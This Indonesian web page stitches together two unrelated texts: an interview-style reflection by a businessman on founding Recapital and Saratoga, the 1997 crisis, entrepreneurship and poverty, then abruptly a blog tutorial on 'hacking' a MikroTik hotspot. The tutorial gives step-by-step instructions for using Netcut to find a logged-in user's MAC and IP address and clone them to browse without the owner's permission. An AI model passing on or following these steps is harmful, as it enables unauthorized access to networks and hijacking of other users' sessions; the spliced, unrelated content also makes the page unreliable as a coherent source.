Pada tahun-tahun pertama itu --Recapital maupun Saratoga-- saya mengalami susahnya menjalin usaha. Sulitnya mendapatkan kepercayaan dari klien dan investor. Ada suatu periode yang cukup lama, enam bulan kami sama sekali tidak mendapat order. Sampai terpikir apakah benar langkah kami menjadi pengusaha? Apakah memang mental kami lebih cocok jadi karyawan?

Tapi dengan kerja keras dan pantang menyerah, alhamdulillah. Itu nasihat orang tua selalu, ketika kita kerja keras tanpa pamrih dan ikhlas, rejeki yang akan menghampiri. Itu yang kami percaya terus.

Walaupun awalnya kami susah, jatuh bangun, hampir beberapa kali tak bisa bayar gaji pegawai. Kami jalani terus dan alhamdulillah sekarang sudah bisa membiayai 2 grup, Recapital dan Saratoga. Kami sekarang punya pondasi yang kuat dan bisa memberikan pekerjaan kepada 20 ribu karyawan.

Titik balik dari saat jatuh bangun menjadi pondasi usaha yang kuat

Titik balik, saya rasa sekitar 4-5 tahun setelah mulai menapak jadi pengusaha. Saya melihat bahwa ternyata kalau kita berikan 100 persen dan full comitment terhadap usaha hasilnya akan baik. Para pelanggan, klien, nasabah maupun investor yang mempercayai kami untuk mengelola dana maupun perusahaan yang kami beri advice untuk melakukan restrukturisasi bisa memberikan kepercayaan.

Melihat sosok pengusaha muda, rupanya mereka tidak serta merta menilai pengusaha muda minim pengalaman. Ternyata mereka akan memberikan kepercayaan kalau pengusaha mudanya bisa menyerap begitu banyak pengalaman, bisa menghasilkan solusi dari permasalahan keuangan dan bisnis yang mereka hadapi.

Sempat berpikir untuk menyerah

Tahun ketiga itu memang sempat terpikir untuk meneruskan atau mundur. Waktu itu sedang susah-susahnya melihat ada klien yang tak bayar tagihan, susah memotivasi karyawan. Ada seribu pertanyaan di kepala kami, teruskan atau mundur.

Di situlah keteguhan dan loyalitas entrepreneur diuji. Apakah dia loyal terhadap tujuan menjadi entrepreneur. Tujuan saya waktu itu adalah sukses dan memberi manfaat yang lebih untuk sekitar dengan menciptakan lapangan kerja. Kalau kita fokus dan loyal di tujuan kita, insya allah kita akan mendapatkan titik balik di tujuan tersebut.

ketakutan terbesar  Saat dipecat tahun 1997,
Waktu itu saya baru punya keluarga. Saya berpikir bagaimana kasih makan anak saya. Anak saya waktu itu baru berumur beberapa bulan. Saya sudah dibiasakan selama 8 tahun bekerja dan menerima income rutin dan nggak pusing terhadap uang belanjaan. Tiba-tiba saya mendapati kenyataan ini. Dunia betul betul gelap, pekat. Seperti nggak ada solusi.Akhirnya saya putuskan, survival insting saja, kembali ke Indonesia. Saya kembali ke rumah orang tua, karena rumah saya ludes. Harta saya habis dijaminkan ke bank untuk investasi di pasar saham. Waktu itu semua saham kan jebol.

Saya putus asa, tak percaya diri, teman-teman saya memandang saya lain. Di kultur kita kegagalan dianggap sebagai akhir dari segalanya. Padahal di dunia entrepreneur, kegagalan adalah akhir dari suatu chapter yang baru. Chapter yang akan dimulai adalah dimana seseorang bisa belajar dari kegagalan dan menjadikannya sebagai anak tangga menuju kesuksesan.

Orang yang paling berjasa dalam momen kebangkitan

Keluarga pastinya. Momen kebangkitan ini kalau saya nggak punya istri dan orang tua yang memberi kesempatan dan memberi dukungan, doa. Saya beruntung ketemu teman SMA saya Rosan (Rosan Perkasa Roeslani, Direktur Utama PT Recapital Advisors) dan kami memulai Recapital. Saya juga beruntung dipertemukan lagi dengan pak Edwin Suryajaya yang sudah saya kenal 5 tahun sebelumnya. Kami mulai menata bisnis apa yang menurut saya akan bisa berkembang. Bisnis yang bukan hanya survival tapi juga usaha yang akan memberi penghidupan pada orang banyak. Saya selain berhutang budi kepada ibu saya juga pada pak William Suryajaya yang memberikan mentorship selama 2 tahun intensif, tentang bagaimana pengusaha tidak hanya mencari keuntungan tapi juga menjadi aset bangsa, saya belajar banyak soal itu.

Peluang industri ekstraktif di Indonesia masih terbuka
Masih terbuka luas, lihat saja kita nomor satu pengekspor batubara thermal di dunia, emas mungkin nomor dua. Kakao kita nomor dua, kelapa sawit nomor satu, tembaga juga sangat potensial. Semua sumber mineral penting yang akan dipakai oleh produk industri dapat ditemui di Indonesia, semua itu belum digarap. Jadi peluangnya masih terbuka lebar. Tapi saya ingin mengajak pengusaha yang bergerak di bidang sumber daya alam untuk melihat bagaimana meng-capture nilai tambahnya di Indonesia. Selain memberikan pajak lebih besar, tapi juga memberi yang lebih besar kepada rakyat.

Cara mengatasi Kemiskinan di Indonesia masih tinggi, bagaimana

Kemiskinan hanya bisa disolusikan dengan memberdayakan rakyat yang masih on the bottom of the pyramids, mereka dengan pendapatan di bawah 2 dolar sehari. Bagaimana memberdayakan mereka? Dengan memberikan peluang. Bagaimana berikan peluang? Menurut saya masalah kelompok bottom of the pyramids adalah peluang. Kita harus bisa menghadirkan peluang dalam bentuk akses pada microfinance. Tiba-tiba teman-teman di bottom of the pyramids ini punya alat untuk menangkap peluang tersebut.

Makanya kita sebut sekarang lebih dari 42 juta unit usaha mikro kecil menegah yang telah lahir di Indonesia. 60 persen pendapatan domestik bruto disumbang UMKM, yang disebut bottom itu. Nah dengan memberi microfinance maka tiba-tiba hadir semua peluang pada mereka. Di situ adalah cikal bakal mereka melahirkan suatu usaha yang bisa mengangkat harkat martabat mereka dan menaikkan derajat mereka dari bottom of the pyramids ke kelas menengah.

Kuncinya wiraswasta

Kuncinya entrepreneurship. dan ini saya sudah bicara di kampus, SMA-SMA. Think like an entrepreneur. memang nggak semua orang harus jadi entrepreneur, tapi berpikirlah sebagai seorang wirausaha untuk mengatasi berbagai masalah dalam keseharian kita. Bagaimana kita melihat peluang yang terus ada di balik setiap krisis. Bagaimana kita menghadapi hidup dengan penuh komitmen dan tak mudah putus asa. itu kan sifat-sifat dari seorang pengusaha.

Kalau punya kemampuan hadirkan pola pikir itu kepada akademisi, birokrat, pegawai pemerintah, pegawai swasta, maka akan terbentuk culture kewirausahaan, maka inovasi bangsa akan meningkat dan perekonomian pada ujungnya akan menghasilkan nilai growth rate yang lebih tinggi untuk bangsa tersebut. Indonesia hanya punya 0,18 persen populasi yang menjadi enterpreneur, kalau tak salah kurang dari 500 ribu. Tugas kita untuk pada 2020 mencetak setidaknya 5 juta entrepreneur yang sanggup mengisi pembangunan dan menciptakan lapangan kerja.

Peran pemerintah jika masyarakat sudah menjadi entrepreneur dan sejahtera

Pemerintah posisinya tak seperti zaman sebelum krisis, di mana ada keterbatasan sumber daya, keterbatasan dana. Tugas pemerintah adalah menghadirkan iklim dunia usaha yang paling kondusif di mana perizinan dipermudah, anak-anak muda yang punya ide dalam hitungan 3 hari dapat meregistrasi ide tersebut dan memulai usahanya atau mendirikan perusahaannya. Kalau mendirikan perusahaan sudah dibuat begitu mudah, juga bagaimana memberikan akses permodalan yang paling baik terhadap perusahaan-perusahaan ini.

Terakhir kemampuan pengusaha untuk berinovasi, bagaimana human capacity pengusaha ini. Kalau tiga aspek ini bisa diberikan, pemerintah tak perlu terlalu repot memberi budget besar pada setiap sektor usaha. Cukup diberi insentif, cukup diberi iklim yang sangat ramah terhadap kegiatan dunia usaha, akan tumbuh dengan sendirinya.

Masalah terbesar pemerintah dalam memberi iklim yang kondusif buat dunia usaha

Pemerintah juga harus menyelesaikan masalah infrastruktur yang dihadapi karena indonesia adalah negara yang infrastrukturnya sangat lemah. Mengirim barang dari Surabaya ke Jakarta lebih mahal daripada dari Surabaya ke Hongkong, padahal jaraknya sangat berbeda. Tapi karena infrastruktur lemah ini menggerus daya saing dunia usaha. Saya yakin kalau pengusaha bahu membahu dan pemerintah maka ekonomi kita bisa tumbuh 8-10 persen dan indonesia bisa menjadi bukan hanya Macan Asia tapi juara dunia dan ada beberapa pandangan bahwa Indonesia akan jadi ekonomi terbesar di Asia tahun 2050

Tips Hacking Hotspot Router Mikrotik

Satu lagi cara berinternet gratis yaitu dengan meng-hack hotspot mikrotik. Sebenarnya cara ini sudah basi, tetapi karena baru saja saya mempraktekan maka saya tulis langkah-langkahnya.

Di samping untuk mengingat kalau lupa kan bisa untuk sharing buat yang lain, yang mungkin belum tahu atau masih kurang paham. Biasanya kalau kita terhubung dengan hotspot mikrotik maka kita akan dihadapkan dengan menu mikrotik login sebelum kita bisa browsing.

Cara ini adalah untuk mem-by pass mikrotik login, sebenarnya lebih tepat kalau disebut cloning client. Intinya kita tidak harus login dulu untuk bisa browsing, karena target sudah login. Kita sebagai clone-nya jadi tidak perlu login. Trik ini hanya bisa jalan selama client yang kita clone masih terhubung ke hotspot.

Berikut langkah-langkahnya :

1. Download dulu program Netcut, program ini untuk mengetahui MAC address yang terhubung dengan kita. Netcut bisa didownload disini.

2. Koneksikan komputer kita dengan hotspot mikrotik

3. Jalankan program Netcut

4. Pilih LAN Card / NIC yang kita gunakan dengan mengklik menu Choice NetCard

















5.Kemudian klik OK kembali ke layar utama, pilih salah satu network yang terkoneksi. Yang jelas bukan network kita atau network server.








6. Salin IP address dan MAC address, bisa juga dengan mengklik PrintTable kemudian blok dan copy paste ke notepad untuk langkah selanjutnya.









7. Setelah dipaste di notepad langkah selanjutnya edit nilai MAC address, pada contoh ini [00:26:5E:60:81:1C]. Hilangkan tanda [:] sehingga menjadi 00265E60811C. Nilai ini yang akan kita gunakan untuk merubah MAC address kita.

8. Selanjutnya kita disable dulu wireless LAN kita. Kemudian buka properties wireless LAN dan ubah nilai Local Administration MAC Network, default kosong. Isi dengan nilai tadi, pada contoh ini 00265E60811C
















9. Kemudian kita set IP wireless LAN kita dengan IP yang sama yaitu 192.168.182.18 dan isi juga DNS server address.


















Untuk DNS server address bisa dicek sebelum kita merubah MAC dan IP. Jadi waktu pertama kali kita terhubung ke hotspot, dengan cara mengetik perintah dari command prompt
C:\>ipconfig/all

10. Langkah terakhir adalah meng-enable kembali wireless LAN kita. Sekarang kita bisa browsing tanpa harus ijin pada yang punya hotspot.

11- Hasil :
Sebelum melakukan clone









Sesudah melakukan clone









Tutorial ini hanya untuk mereka yang malas bertanya username dan password pada admin jaringan. Malu bertanya tidak bisa browsing. (goldenways.CliQuers)

Sumber: ketok.com

NB :
Bila anda merasa kesulitan untuk mengganti MAC addres Klik di sini :
Mengganti MAC Adderes Dengan Mudah